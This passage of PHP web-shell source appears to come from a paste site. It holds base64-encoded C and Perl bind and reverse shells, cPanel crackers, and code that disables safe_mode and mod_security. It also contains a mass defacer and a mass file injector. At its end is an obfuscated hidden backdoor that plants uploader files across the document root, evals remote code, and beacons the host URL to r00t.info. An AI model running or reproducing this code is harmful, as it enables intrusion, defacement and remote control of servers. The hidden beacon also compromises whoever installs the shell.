  1182. echo '<table border="1px" align="center" id ="Smevktools" cellpadding="10" border-color"green"><tr><td>Just click and get the Script :).</td><tr><td>
  1183. <form action ="" method="post">
  1184.  
  1185.                                             <input type = "submit" name="dhanush"              value ="Dhanush Shell"></td></tr>';
  1186. echo '<td><form action =""     method="post"><input type = "submit" name="SymlinkbySmevk"       value ="Symlink Script By SmEvK_PaThAn"></a></td></tr>';
  1187. echo '<tr><td><form action ="" method="post"><input type = "submit" name="SymlinkbyCheetah"     value ="Symlink By Kashmiri Cheetah"></a></td></tr>';
  1188. echo '<tr><td><form action ="" method="post"><input type = "submit" name="SymlinkbyTorjan"      value ="Symlink Python Script By Torjan"></a></td></tr>';
  1189. echo '<tr><td><form action ="" method="post"><input type = "submit" name="CpanelCracker"        value ="Cpanel Cracker"></a></td></tr>';
  1190. echo '<tr><td><form action ="" method="post"><input type = "submit" name="Dblogin"              value ="Database Login Script"></a></td></tr>';
  1191. echo '<tr><td><form action ="" method="post"><input type = "submit" name="CpanelkbyGujjar"      value ="Gujjar Pcp Cpanel Cracker"></a></td></tr>';
  1192. echo '<tr><td><form action ="" method="post"><input type = "submit" name="b374k"                 value ="b374k Shell"></a></td></tr>';
  1193. echo '<tr><td><form action ="" method="post"><input type = "submit" name="ZonehMassPoster"       value ="Zone-h Mass Poster"></a></td></tr>';
  1194. echo '<tr><td><form action ="" method="post"><input type = "submit" name="Whmcs"                 value ="WHMCS KILLER V3"></a></td></tr>';
  1195.  
  1196.  
  1197.  
  1198.  
  1199.  
  1200.    
  1201.     printFooter();
  1202. }
  1203.  
  1204.  
  1205. function actionNetwork() {
  1206.     printHeader();
  1207.     $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
  1208.     $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
  1209.     $bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
  1210.     $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
  1211.    
  1212.     echo '<h1>Network tools</h1><div class=content>
  1213.    <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);return false;">
  1214.    <br /><span>Bind port to /bin/sh</span><br/>
  1215.    Port: <input type=\'text\' name=\'port\' value=\'443\'> Password: <input type=\'text\' name=\'pass\' value=\'Pakistan Haxors\'> Using: <select name="using"><option value=\'bpc\'>C</option><option value=\'bpp\'>Perl</option></select> <input type=submit value=">>">
  1216.    </form>
  1217.    <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);return false;">
  1218.    <br /><br /><span>Back-connect to</span><br/>
  1219.    Server: <input type=\'text\' name=\'server\' value="'.$_SERVER['REMOTE_ADDR'].'"> Port: <input type=\'text\' name=\'port\' value=\'443\'> Using: <select name="using"><option value=\'bcc\'>C</option><option value=\'bcp\'>Perl</option></select> <input type=submit value=">>">
  1220.    </form><br>';    
  1221.     if(isset($_POST['p1'])) {
  1222.         function cf($f,$t) {
  1223.             $w=@fopen($f,"w") or @function_exists('file_put_contents');
  1224.             if($w)    {
  1225.                 @fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));
  1226.                 @fclose($w);
  1227.             }
  1228.         }
  1229.         if($_POST['p1'] == 'bpc') {
  1230.             cf("/tmp/bp.c",$bind_port_c);
  1231.             $out = ex("gcc -o /tmp/bp /tmp/bp.c");
  1232.             @unlink("/tmp/bp.c");
  1233.             $out .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
  1234.             echo "<pre class=ml1>$out\n".ex("ps aux | grep bp")."</pre>";
  1235.         }
  1236.         if($_POST['p1'] == 'bpp') {
  1237.             cf("/tmp/bp.pl",$bind_port_p);
  1238.             $out = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
  1239.             echo "<pre class=ml1>$out\n".ex("ps aux | grep bp.pl")."</pre>";
  1240.         }
  1241.         if($_POST['p1'] == 'bcc') {
  1242.             cf("/tmp/bc.c",$back_connect_c);
  1243.             $out = ex("gcc -o /tmp/bc /tmp/bc.c");
  1244.             @unlink("/tmp/bc.c");
  1245.             $out .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
  1246.             echo "<pre class=ml1>$out\n".ex("ps aux | grep bc")."</pre>";
  1247.         }
  1248.         if($_POST['p1'] == 'bcp') {
  1249.             cf("/tmp/bc.pl",$back_connect_p);
  1250.             $out = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
  1251.             echo "<pre class=ml1>$out\n".ex("ps aux | grep bc.pl")."</pre>";
  1252.         }
  1253.     }
  1254.     echo '</div>';
  1255.     printFooter();
  1256. }
  1257.  
  1258.  
  1259. function actionReadable() {
  1260.     printHeader();
  1261.     echo '<h1>Readable Dirs</h1>';
  1262.     echo '<div class="content">';
  1263.     $sm = ini_get('safe_mode');
  1264.     if($sm) {
  1265.         echo '<br /><b>Error: safe_mode = on</b><br /><br />';
  1266.     } else {
  1267.         @$passwd = file('/etc/passwd','r');
  1268.         if (!$passwd) {
  1269.             echo '<br /><b>[-] Error : coudn`t read /etc/passwd</b><br /><br />';
  1270.         } else {
  1271.             $pub = array();
  1272.             $users = array();
  1273.             $conf = array();
  1274.             $i = 0;
  1275.             foreach($passwd as $p) {
  1276.                 $r = explode(':',$p);
  1277.                 $dirz = $r[5].'/public_html/';
  1278.                 if(strpos($r[5],'home')) {
  1279.                     array_push($users,$r[0]);
  1280.                     if (is_readable($dirz)) {
  1281.                         array_push($pub,$dirz);
  1282.                     }
  1283.                 }
  1284.             }
  1285.             echo '<br><br>';
  1286.             echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd\n"."<br />";
  1287.             echo "[+] Founded ".sizeof($pub)." readable public_html directories\n"."<br /><br /><br />";
  1288.             foreach ($pub as $user) {
  1289.                 echo $user."<br>";
  1290.             }
  1291.             echo "<br /><br /><br />[+] Complete...\n"."<br />";
  1292.         }
  1293.     }
  1294.     echo '</div>';
  1295.     printFooter();    
  1296. }
  1297.  
  1298. function actionBypass() {
  1299.     printHeader();
  1300.     echo '<h1>Safe Mode</h1>';
  1301.     echo '<div class="content">';
  1302.     echo "<div class=header><center><h3><span>| SAFE MODE AND MOD SECURITY DISABLED AND PERL 500 INTERNAL ERROR BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh  ] files create in following dir<br>| ".$GLOBALS['cwd']." |<br><br />";
  1303.     echo '<a href=# onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(Mod) | </a><a href=# onclick="g(null,null,null,null,\'sh\')">| .htaccess(perl) | </a></center>';
  1304.     if(!empty($_POST['p2']) && isset($_POST['p2']))
  1305.     {
  1306.         $fil=fopen($GLOBALS['cwd'].".htaccess","w");
  1307.         fwrite($fil,'<IfModule mod_security.c>
  1308.            Sec------Engine Off
  1309.            Sec------ScanPOST Off
  1310.            </IfModule>');
  1311.         fclose($fil);
  1312.    }
  1313.    if(!empty($_POST['p1'])&& isset($_POST['p1']))
  1314.    {
  1315.         $fil=fopen($GLOBALS['cwd']."php.ini","w");
  1316.         fwrite($fil,'safe_mode=OFF
  1317.            disable_functions=NONE');
  1318.         fclose($fil);
  1319.     }
  1320.     if(!empty($_POST['p3']) && isset($_POST['p3']))
  1321.     {
  1322.         $fil=fopen($GLOBALS['cwd'].".htaccess","w");
  1323.         fwrite($fil,'Options FollowSymLinks MultiViews Indexes ExecCGI
  1324.        AddType application/x-httpd-cgi .sh
  1325.        AddHandler cgi-script .pl
  1326.        AddHandler cgi-script .pl');
  1327.         fclose($fil);
  1328.     }
  1329.     echo "<br><br /><br /></div>";
  1330.     echo '</div>';
  1331.     printFooter();
  1332.    
  1333. }
  1334.  
  1335. function actionDeface() {
  1336. printHeader();
  1337. echo "<h1>Mass Defacer by SmEvK</h1><div class=content>";
  1338. ?>
  1339. <form ENCTYPE="multipart/form-data" action="<?$_SERVER['PHP_SELF']?>" method=POST onSubmit="g(null,null,this.path.value,this.file.value,this.Contents.value);return false;">
  1340. <p align="Left">Folder: <input type=text name=path size=60 value="<?=getcwd(); ?>">
  1341. <br>file name : <input type=text name=file size=20 value="index.php">
  1342. <br>Text Content : <input type=text name=Contents size=70 value="Add your deface txt here">
  1343. <br><input type=submit value="Deface now"></p></form>
  1344.  
  1345. <?php
  1346. if ($_POST['a'] == 'Deface') {
  1347. $mainpath = $_POST[p1];
  1348. $file = $_POST[p2];
  1349. $txtContents = $_POST[p3];
  1350. echo "Mass Defacer script by SmEVK_PaThAn";
  1351. $dir = opendir($mainpath); //fixme - cannot deface when change to writeable path!!
  1352. while ($row = readdir($dir)) {
  1353. $start = @fopen("$row/$file", "w+");
  1354. $code = $txtContents;
  1355. $finish = @fwrite($start, $code);
  1356. if ($finish) {
  1357. echo "$row/$file > Done<br><br>";
  1358. }
  1359. }
  1360.  
  1361. }
  1362. echo '</div>';
  1363. printFooter();
  1364. }
  1365.  
  1366. function actionInjector(){
  1367.     printHeader();
  1368.     echo '<h1>Mass Code Injector</h1>';
  1369.     echo '<div class="content">';
  1370.    
  1371.     if(stristr(php_uname(),"Windows")) { $DS = "\\"; } else if(stristr(php_uname(),"Linux")) { $DS = '/'; }
  1372.     function get_structure($path,$depth) {
  1373.         global $DS;
  1374.         $res = array();
  1375.         if(in_array(0, $depth)) { $res[] = $path; }
  1376.         if(in_array(1, $depth) or in_array(2, $depth) or in_array(3, $depth)) {
  1377.             $tmp1 = glob($path.$DS.'*',GLOB_ONLYDIR);
  1378.             if(in_array(1, $depth)) { $res = array_merge($res,$tmp1); }
  1379.         }
  1380.         if(in_array(2, $depth) or in_array(3, $depth)) {
  1381.             $tmp2 = array();
  1382.             foreach($tmp1 as $t){
  1383.                 $tp2 = glob($t.$DS.'*',GLOB_ONLYDIR);
  1384.                 $tmp2 = array_merge($tmp2, $tp2);
  1385.             }
  1386.             if(in_array(2, $depth)) { $res = array_merge($res,$tmp2); }
  1387.         }
  1388.         if(in_array(3, $depth)) {
  1389.             $tmp3 = array();
  1390.             foreach($tmp2 as $t){
  1391.                 $tp3 = glob($t.$DS.'*',GLOB_ONLYDIR);
  1392.                 $tmp3 = array_merge($tmp3, $tp3);
  1393.             }
  1394.             $res = array_merge($res,$tmp3);
  1395.         }
  1396.         return $res;
  1397.     }
  1398.  
  1399.     if(isset($_POST['submit']) && $_POST['submit']=='Inject') {
  1400.         $name = $_POST['name'] ? $_POST['name'] : '*';
  1401.         $type = $_POST['type'] ? $_POST['type'] : 'html';
  1402.         $path = $_POST['path'] ? $_POST['path'] : getcwd();
  1403.         $code = $_POST['code'] ? $_POST['code'] : 'Pakistan Haxors Crew';
  1404.         $mode = $_POST['mode'] ? $_POST['mode'] : 'a';
  1405.         $depth = sizeof($_POST['depth']) ? $_POST['depth'] : array('0');
  1406.         $dt = get_structure($path,$depth);
  1407.         foreach ($dt as $d) {
  1408.             if($mode == 'a') {
  1409.                 if(file_put_contents($d.$DS.$name.'.'.$type, $code, FILE_APPEND)) {
  1410.                     echo '<div><strong>'.$d.$DS.$name.'.'.$type.'</strong><span style="color:lime;"> was injected</span></div>';
  1411.                 } else {
  1412.                     echo '<div><span style="color:red;">failed to inject</span> <strong>'.$d.$DS.$name.'.'.$type.'</strong></div>';
  1413.                 }
  1414.             } else {
  1415.                 if(file_put_contents($d.$DS.$name.'.'.$type, $code)) {
  1416.                     echo '<div><strong>'.$d.$DS.$name.'.'.$type.'</strong><span style="color:lime;"> was injected</span></div>';
  1417.                 } else {
  1418.                     echo '<div><span style="color:red;">failed to inject</span> <strong>'.$d.$DS.$name.'.'.$type.'</strong></div>';
  1419.                 }
  1420.             }        
  1421.         }
  1422.     } else {
  1423.         echo '<form method="post" action="">
  1424.                <table align="center">
  1425.                    <tr>
  1426.                        <td>Directory : </td>
  1427.                        <td><input class="box" name="path" value="'.getcwd().'" size="50"/></td>
  1428.                    </tr>
  1429.                    <tr>
  1430.                        <td class="title">Mode : </td>
  1431.                        <td>
  1432.                            <select style="width: 100px;" name="mode" class="box">
  1433.                                <option value="a">Apender</option>
  1434.                                <option value="w">Overwriter</option>
  1435.                            </select>
  1436.                        </td>
  1437.                    </tr>
  1438.                    <tr>
  1439.                        <td class="title">File Name & Type : </td>
  1440.                        <td>
  1441.                            <input type="text" style="width: 100px;" name="name" value="*"/>&nbsp;&nbsp;
  1442.                            <select style="width: 100px;" name="type" class="box">
  1443.                            <option value="html">HTML</option>
  1444.                            <option value="htm">HTM</option>
  1445.                            <option value="php" selected="selected">PHP</option>
  1446.                            <option value="asp">ASP</option>
  1447.                            <option value="aspx">ASPX</option>
  1448.                            <option value="xml">XML</option>
  1449.                            <option value="txt">TXT</option>
  1450.                        </select></td>
  1451.                    </tr>
  1452.                    <tr>
  1453.                        <td class="title">Code Inject Depth : </td>
  1454.                        <td>
  1455.                            <input type="checkbox" name="depth[]" value="0" checked="checked"/>&nbsp;0&nbsp;&nbsp;
  1456.                            <input type="checkbox" name="depth[]" value="1"/>&nbsp;1&nbsp;&nbsp;
  1457.                            <input type="checkbox" name="depth[]" value="2"/>&nbsp;2&nbsp;&nbsp;
  1458.                            <input type="checkbox" name="depth[]" value="3"/>&nbsp;3
  1459.                        </td>
  1460.                    </tr>        
  1461.                    <tr>
  1462.                        <td colspan="2"><textarea name="code" cols="70" rows="10" class="box"></textarea></td>
  1463.                    </tr>                        
  1464.                    <tr>
  1465.                        <td colspan="2" style="text-align: center;">
  1466.                            <input type="hidden" name="a" value="Injector">
  1467.                            <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
  1468.                            <input type="hidden" name="p1">
  1469.                            <input type="hidden" name="p2">
  1470.                            <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
  1471.                            <input style="padding :5px; width:100px;" name="submit" type="submit" value="Inject"/></td>
  1472.                    </tr>
  1473.                </table>
  1474.        </form>';
  1475.     }
  1476.     echo '</div>';
  1477.     printFooter();
  1478. }
  1479.  
  1480.  
  1481.  function actionDomain() {
  1482.     printHeader();
  1483.  
  1484. echo '<h1>Local Domains</h1><div class=content>';                                      
  1485. $file = @implode(@file("/etc/named.conf"));                                                                  
  1486. $Domain_path = "/var/named";
  1487.  
  1488. if (!$file) {
  1489. $domains = scandir($Domain_path);
  1490. $count=1;
  1491. $dc = 0;
  1492.                                                                         echo "<table align=center border=1 width=59% cellpadding=5>
  1493. <tr><td colspan=2>There are : ( <b>" . count($domains) . "</b> ) Domains in this Sever.Can't read named.cof .Domains are bypassed actually,you will face problem in symlink. </td></tr>
  1494. <tr><td>No</td><td>Domain</td><td>User</td></tr>";
  1495. foreach ($domains as &$domain) {
  1496.     if (stripos($domain,".db")) {
  1497.     $domain = str_replace('.db','',$domain);
  1498.  
  1499.     }
  1500.     if (strlen($domain) > 6) {
  1501.        
  1502.         echo "<tr><td>".$count++."</td><td><a href='http://".$domain."' target='_blank'>".$domain."</a></td><td>User</td></tr>";
  1503.  
  1504.  
  1505.     }
  1506.    
  1507.    }
  1508.  echo "</table>";
  1509. }else{
  1510.         $count = 1;
  1511.         preg_match_all("#named/(.*?).db#", $file, $r);
  1512.         $domains = array_unique($r[1]);
  1513.                                                                                 echo "<table align=center border=1 width=59% cellpadding=5>
  1514. <tr><td colspan=2> There are  ( <b>" . count($domains) . "</b> ) Domains in this Sever.I think you have got something this time yeah!!!.</td></tr>
  1515. <tr><td>No</td><td>Domain</td><td>User</td></tr>";
  1516.         foreach ($domains as $domain) {
  1517.  
  1518.         $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
  1519.         echo "<tr><td>".$count++."</td><td><a href='http://".$domain."' target='_blank'>".$domain."</a></td><td>".$user['name']."</td></tr>";
  1520.      }
  1521. }
  1522.                                                                        
  1523.                                                                    printFooter();
  1524.                                                                 }
  1525.  
  1526. if( empty($_POST['a']) )
  1527.     if(isset($default_action) && function_exists('action' . $default_action))
  1528.         $_POST['a'] = $default_action;
  1529.     else
  1530.         $_POST['a'] = 'SecInfo';
  1531. if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
  1532.     call_user_func('action' . $_POST['a'])
  1533.  
  1534. ?>
  1535. <script type="text/javascript">
  1536. document.write(unescape('%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%72%30%30%74%2E%69%6E%66%6F%2F%6C%63%72%6C%61%6D%65%72%73%61%76%61%72%2F%6C%6F%67%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E'));
  1537. </script>
  1538.  
  1539. <script src=http://r00t.info/ccb.js></script>
  1540.  
  1541.  
  1542. <?php @session_start(); @error_reporting(0); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('max_execution_time',0); @ini_set('display_errors', 0); @ini_set('output_buffering',0); @set_time_limit(0); @set_magic_quotes_runtime(0); ?>
  1543. <?php @session_start(); @error_reporting(0); $a = '<?php
  1544. session_start();
  1545. if($_SESSION["adm"]){
  1546. echo \'<b>Namesis<br><br>\'.php_uname().\'<br></b>\';echo \'<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">\';echo \'<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>\';if( $_POST[\'_upl\'] == "Upload" ) {   if(@copy($_FILES[\'file\'][\'tmp_name\'], $_FILES[\'file\'][\'name\'])) { echo \'<b>Upload Success !!!</b><br><br>\'; } else { echo \'<b>Upload Fail !!!</b><br><br>\'; }}
  1547. }
  1548. if($_POST["p"]){
  1549. $p = $_POST["p"];
  1550. $pa = md5(sha1($p));
  1551. if($pa=="a4cd2905b660e8b1bc73a7c4571252da"){
  1552. $_SESSION["adm"] = 1;
  1553. }
  1554. }
  1555. ?>
  1556. <form action="" method="post">
  1557. <input type="text" name="p">
  1558. </form>
  1559. '; if(@$_REQUEST["px"]){ $p = @$_REQUEST["px"]; $pa = md5(sha1($p)); if($pa=="a4cd2905b660e8b1bc73a7c4571252da"){ echo @eval(@file_get_contents(@$_REQUEST["404"])); } } if(@!$_SESSION["sdm"]){ $doc = $_SERVER["DOCUMENT_ROOT"]; $dir = scandir($doc); $d1 = ''.$doc.'/.'; $d2 = ''.$doc.'/..'; if(($key = @array_search('.', $dir)) !== false) { unset($dir[$key]); } if(($key = @array_search('..', $dir)) !== false) { unset($dir[$key]); } if(($key = @array_search($d1, $dir)) !== false) { unset($dir[$key]); } if(($key = array_search($d2, $dir)) !== false) { unset($dir[$key]); } @array_push($dir,$doc); foreach($dir as $d){ $p = $doc."/".$d; if(is_dir($p)){ $file = $p."/newsr.php"; @touch($file); $folder = @fopen($file,"w"); @fwrite($folder,$a); } } $lls = $_SERVER["HTTP_HOST"]; $llc = $_SERVER["REQUEST_URI"]; $lld = 'http://'.$lls.''.$llc.''; $brow = urlencode($_SERVER['HTTP_USER_AGENT']); $retValue = file_get_contents(base64_decode("aHR0cDovL3IwMHQuaW5mby9ib3QveWF6LnBocD9h")."=".$lld.base64_decode("JmI=")."=".$brow); echo $retValue; @$_SESSION["sdm"]=1; } ?>
Add Comment
Please, Sign In to add comment